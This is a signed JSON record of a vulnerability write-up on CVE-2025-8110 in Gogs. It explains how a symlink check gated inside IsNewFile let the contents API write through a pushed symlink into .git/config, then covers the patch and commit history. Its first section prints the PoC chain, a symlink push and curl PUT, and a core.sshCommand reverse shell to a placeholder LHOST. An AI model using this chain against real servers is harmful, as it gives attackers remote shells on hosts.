-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The PoC's first step is making the file not new\n\nThe five lines in `poc.py` that matter are the ones that run before any HTTP call to the vulnerable endpoint:\n\n```python\nos.symlink(\".git/config\", os.path.join(repo_dir, \"x\"))\ngit(\"add\", \"x\", cwd=repo_dir)\ngit(\"commit\", \"-m\", \"add symlink x -> .git/config\", cwd=repo_dir)\nr = git(\"push\", \"-u\", \"origin\", \"master\", cwd=repo_dir)\n```\n\nAfter this push, the bare repository on the server holds a tree entry named `x` with mode `120000`, git's encoding for \"symbolic link.\" When the next API call against this repo triggers `UpdateLocalCopyBranch`, Gogs materialises the working copy on disk, and `x` becomes a real on-disk symlink under `localPath` pointing at `.git/config`.\n\nThen the exploit fires:\n\n```bash\ncurl -X PUT https://target/api/v1/repos//poc-repo/contents/x \\\n -H \"Authorization: token \" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"message\":\"x\",\"content\":\"\"}'\n```\n\nThe base64 payload decodes to a git config with `[core] sshCommand = bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'` and a `[remote \"origin\"]` pointing at an SSH URL. A second `PUT` to the same path then provokes a `git fetch origin`, which reads the now-poisoned config, finds `core.sshCommand`, and runs it.\n\nThe API handler is `PutContents` in `internal/route/api/v1/repo/contents.go`. The body of the handler is short:\n\n```go\n// 🚨 SECURITY: Prevent path traversal.\ntreePath := pathutil.Clean(c.Params(\"*\"))\n\nerr = c.Repo.Repository.UpdateRepoFile(\n c.User,\n db.UpdateRepoFileOptions{\n OldBranch: c.Repo.Repository.DefaultBranch,\n NewBranch: r.Branch,\n OldTreeName: treePath,\n NewTreeName: treePath,\n Message: r.Message,\n Content: string(content),\n },\n)\n```\n\n`pathutil.Clean` is the path-traversal guard. It strips `..` and resolves dot-segments. It does not check whether the resulting on-disk path is a symlink. `OldTreeName == NewTreeName == \"x\"`. `IsNewFile` is the zero value for `bool`, which is `false`. The handler never sets it.\n\n## UpdateRepoFile has two symlink checks. The API path hits neither.\n\nThe vulnerable function lives in `internal/db/repo_editor.go` of Gogs v0.13.3. The relevant slice, lines 159 through 193, with the security comments preserved:\n\n```go\noldFilePath := path.Join(localPath, opts.OldTreeName)\nfilePath := path.Join(localPath, opts.NewTreeName)\nif err = os.MkdirAll(path.Dir(filePath), os.ModePerm); err != nil {\n return err\n}\n\n// If it's meant to be a new file, make sure it doesn't exist.\nif opts.IsNewFile {\n // 🚨 SECURITY: Prevent updating files in surprising place, check if the file is\n // a symlink.\n if osutil.IsSymlink(filePath) {\n return fmt.Errorf(\"cannot update symbolic link: %s\", opts.NewTreeName)\n }\n if osutil.IsExist(filePath) {\n return ErrRepoFileAlreadyExist{filePath}\n }\n}\n\n// Ignore move step if it's a new file under a directory.\n// Otherwise, move the file when name changed.\nif osutil.IsFile(oldFilePath) && opts.OldTreeName != opts.NewTreeName {\n // 🚨 SECURITY: Prevent updating files in surprising place, check if the file is\n // a symlink.\n if osutil.IsSymlink(oldFilePath) {\n return fmt.Errorf(\"cannot move symbolic link: %s\", opts.OldTreeName)\n }\n\n if err = git.Move(localPath, opts.OldTreeName, opts.NewTreeName); err != nil {\n return fmt.Errorf(\"git mv %q %q: %v\", opts.OldTreeName, opts.NewTreeName, err)\n }\n}\n\nif err = os.WriteFile(filePath, []byte(opts.Content), 0600); err != nil {\n return fmt.Errorf(\"write file: %v\", err)\n}\n```\n\nTwo `IsSymlink` checks. Both wear the same 🚨 SECURITY comment. Both are gated.\n\nThe first sits inside `if opts.IsNewFile`. The PoC's `x` is not new. It was pushed in via git on step 5 of the exploit. The handler never sets `IsNewFile`. This branch is skipped.\n\nThe second sits inside `if osutil.IsFile(oldFilePath) && opts.OldTreeName != opts.NewTreeName`. The PoC sets both tree names to `\"x\"`. The branch tests for a rename, finds none, and is skipped.\n\nExecution falls through to `os.WriteFile(filePath, []byte(opts.Content), 0600)`. `filePath` is `/x`. `x` is a symlink to `.git/config`. The Go standard library opens the path with `O_WRONLY|O_CREATE|O_TRUNC`, the kernel follows the symlink, and the bytes land in `.git/config` of the working copy that Gogs is about to `git fetch` from.\n\nThis is the entire bug. The function had the security check the API call needed. The function held the check inside two `if` blocks the API call's argument shape does not enter.\n\n## The web UI route had an outer check the API route never imported\n\nGogs reaches `UpdateRepoFile` from two route handlers. They are not parallel by accident.\n\nThe web UI handler is `editFilePost` in `internal/route/repo/editor.go`. Before it ever calls `UpdateRepoFile`, it walks the tree path and asks git what each component is:\n\n```go\n} else {\n // 🚨 SECURITY: Do not allow editing if the target file is a symlink.\n if entry.IsSymlink() {\n c.FormErr(\"TreePath\")\n c.RenderWithErr(c.Tr(\"repo.editor.file_is_a_symlink\", part), tmplEditorEdit, &f)\n return\n } else if entry.IsTree() {\n // ...\n }\n}\n\nif !isNewFile {\n entry, err := c.Repo.Commit.TreeEntry(oldTreePath)\n // ...\n // 🚨 SECURITY: Do not allow editing if the old file is a symlink.\n if entry.IsSymlink() {\n c.FormErr(\"TreePath\")\n c.RenderWithErr(c.Tr(\"repo.editor.file_is_a_symlink\", oldTreePath), tmplEditorEdit, &f)\n return\n }\n}\n```\n\n`entry.IsSymlink()` inspects the mode bits stored in the git tree object, not the local filesystem. The PoC's `x`, pushed via git, has mode `120000` in the tree. The web UI's symlink-edit gate fires on it before `UpdateRepoFile` is ever called.\n\nThe second of those two blocks, the `if !isNewFile` branch that the PoC's update-existing-file shape would have hit, was added in PR #7857 (commit `40cb1061`) on December 8, 2024. The PR title is \"repo/editor: disallow editing symlink while changing file name.\" The maintainer who wrote it is Joe Chen, the same maintainer who would write the CVE-2025-8110 fix thirteen months later.\n\nThe API handler `PutContents` does not call `TreeEntry`. It does not consult the git object's mode bits. It does not check `IsSymlink` at any layer. It hands the path to `UpdateRepoFile` and trusts the function to do the right thing.\n\nBoth routes terminate in the same `os.WriteFile`. The web UI route was wrapped in an extra symlink gate in December 2024. The API route shipped the same writer ungated for thirteen more months. CVE-2025-8110 is the year in between.\n\nThis is the [parallel-implementation-gap](/patterns/parallel-implementation-gap) pattern in a layered shape. The outer gap is between `editFilePost` and `PutContents`, two route handlers reaching the same underlying writer through differently-gated entry points. The inner gap is inside `UpdateRepoFile` itself, where the symlink check sits in two conditional branches that the API call's argument shape does not enter. The same pattern was the story in [n8n's Git node, whose helper `isFilePathBlocked` was already imported by every other file-writing node](/posts/n8n-git-cve-2026-21877-helper-was-already-there). The same pattern was the story in [Astro's Cloudflare adapter, which never imported the `isRemoteAllowed` helper the canonical `/_image` endpoint had used for two years](/posts/astro-shipped-two-image-endpoints). The same pattern was the story in [MLflow, whose basic-auth Flask gate had no FastAPI twin for three of the four FastAPI routers](/posts/mlflow-basic-auth-only-gated-flask). The shape is consistent: one writer, multiple callers, only some of them wrapped.\n\n## The patch hoists the check into the prologue\n\nPR #8082 (commit `c3eca1fc`, January 8, 2026) does three things.\n\nFirst, a new helper, also in `internal/db/repo_editor.go`:\n\n```go\n// hasSymlinkInPath returns true if there is any symlink in path hierarchy using\n// the given base and relative path.\nfunc hasSymlinkInPath(base, relPath string) bool {\n parts := strings.Split(filepath.ToSlash(relPath), \"/\")\n for i := range parts {\n filePath := path.Join(append([]string{base}, parts[:i+1]...)...)\n if osutil.IsSymlink(filePath) {\n return true\n }\n }\n return false\n}\n```\n\nThe helper walks every component of the relative path, not just the leaf. A repository with a directory symlink `/subdir → /etc` and an attempt to write `subdir/passwd` is now blocked at the second iteration of the loop, where `osutil.IsSymlink(\"/subdir\")` returns true. The leaf-only check in the old code would have asked whether `/subdir/passwd` was a symlink, found that it was a regular file under the followed symlink, and let it through.\n\nSecond, the call moves out of the two conditional branches and into the function's prologue:\n\n```diff\n+ // 🚨 SECURITY: Prevent touching files in surprising places, reject operations\n+ // that involve symlinks.\n+ if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {\n+ return errors.New(\"cannot update file with symbolic link in path\")\n+ }\n```\n\nIt runs unconditionally, on both `OldTreeName` and `NewTreeName`, before any `os.WriteFile`. The PoC's call shape, `IsNewFile = false` and `OldTreeName == NewTreeName == \"x\"`, now terminates here with the new error. The two old gated `IsSymlink` checks are deleted in the same diff. The function no longer holds the symlink-checking responsibility in two places conditionally; it holds it once unconditionally.\n\nThird, the same prologue check is added to `GetDiffPreview` and `DeleteRepoFile`. Both had their own leaf-only `IsSymlink` calls. Both are replaced. The shape of \"symlink check is conditional inside the function\" is removed from the entire module in one commit.\n\nA fourth, smaller change cleans up `osutil.IsSymlink` itself:\n\n```diff\n // IsSymlink returns true if given path is a symbolic link.\n func IsSymlink(path string) bool {\n- if !IsExist(path) {\n- return false\n- }\n-\n fileInfo, err := os.Lstat(path)\n if err != nil {\n return false\n }\n-\n return fileInfo.Mode()&os.ModeSymlink != 0\n }\n```\n\n`IsExist` calls `os.Stat`, which follows symlinks. A symlink pointing at a non-existent target made `IsExist` return false and short-circuited `IsSymlink` to false. A dangling symlink was not a symlink in this function's vocabulary. The patch removes the gate. Symlink-ness is now what `Lstat` says it is, the only thing the function ever needed to ask.\n\n## The seventh symlink-or-`.git`-path fix in this file\n\n`git log --oneline internal/db/repo_editor.go` for this file's path-hierarchy and symlink security commits, in chronological order:\n\n- `86ada875`: `models/repo_editor: sanitize user-defined file name to prevent RCE (#5558)`\n- `9b37b156`: `models/repo_editor: add isRepositoryGitPath to detect invalid file path (#5558)`\n- `0fef3c90`: `repo_editor: check upload TreePath and file name (#6838)`\n- `2d58fd16` / `519aeefb`: `repo_editor: prohibits uploading files to .git. directory (#6970)`\n- `5250403d` / `90bc7522`: `repo_editor: prohibit move files to .git directory (#6986)`\n- `deeb3f73` / `38aff732`: `repo_editor: check both styles of os.PathSeparator in all systems (#7005)`\n- `40cb1061` / `c94baec9`: `repo/editor: disallow editing symlink while changing file name (#7857)`\n- `c3eca1fc` / `553707f3`: `repository: reject any updates that has symlink in path hierarchy (#8082)`\n\nEight commits. Each closes a specific subspecies of \"user-controlled tree path that leads to writes outside the intended subtree.\" The class never went away. Each patch is the result of someone, sometimes a maintainer, sometimes a reporter to a private security advisory, finding the next call site, the next branch, the next path component, the next file extension, the next route handler that reaches the same writer.\n\nThis is a [design-debt driver](/patterns/design-debt-driver). The primitive at the bottom of `UpdateRepoFile` is `os.WriteFile(/, , 0600)`. The function's entire purpose is to write user-controlled content to a user-controlled path inside a repository working copy that the same function will then `git push` from. The surrounding checks have been patched and re-patched for at least five years to keep that primitive contained. CVE-2025-8110 is the seventh exhibit of that containment failing. The eighth is whichever caller calls `UpdateRepoFile` with a tree path that bypasses `hasSymlinkInPath`, whenever that caller appears.\n\n## KEV, four days after the patch\n\nThe advisory for CVE-2025-8110 is dated December 10, 2025, credited to Wiz. PR #8082 merged on January 8, 2026. CISA added the CVE to the Known Exploited Vulnerabilities catalog on January 12, 2026, four days later, with a required-action date of February 2, 2026. Active exploitation in the wild was the reason given.\n\nThe thirteen months between PR #7857 (web UI symlink check on the rename path, December 2024) and PR #8082 (API symlink check at the prologue, January 2026) is the window the API endpoint shipped a writable symlink-following primitive that any authenticated user with the ability to create a repository could chain into reverse shell on the host. Wiz found it. The KEV entry indicates Wiz was not the only one.\n\nPoC: [mananispiwpiw/CVE-2025-8110-PoC](https://github.com/mananispiwpiw/CVE-2025-8110-PoC)","closing_line":"The web UI got this check on December 8, 2024. The API got it on January 8, 2026. CISA added the gap to KEV four days after the API caught up.","hook_md":"Gogs's `UpdateRepoFile` function has a symlink check. It sits inside `if opts.IsNewFile`. The PoC for CVE-2025-8110 pushes the symlink `x → .git/config` to the bare repo with `git push` first, then sends `PUT /api/v1/repos/{owner}/{repo}/contents/x`. The file is not new when the API call arrives. Execution falls through to `os.WriteFile`, which follows the symlink and writes the request body into `.git/config`.","post_id":374,"slug":"gogs-cve-2025-8110-symlink-check-was-inside-isnewfile","title":"CVE-2025-8110: Gogs's Symlink Check Was Inside `if opts.IsNewFile`","type":"initial","unreadable_sentence":"The symlink check was inside `if opts.IsNewFile`. The PoC's first step is making the file not new."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCak6ZEAAKCRDeZjl4jgkQ JtQ2AQDanmRCTxZUNynvlpV7oaDlEGKgQLmV4cQKCANL8bjF5gEAw8Cx0Yo1q2o0 2ZYAedX1J7nxLk21EOyEapY3LO0RSwo= =H4U3 -----END PGP SIGNATURE-----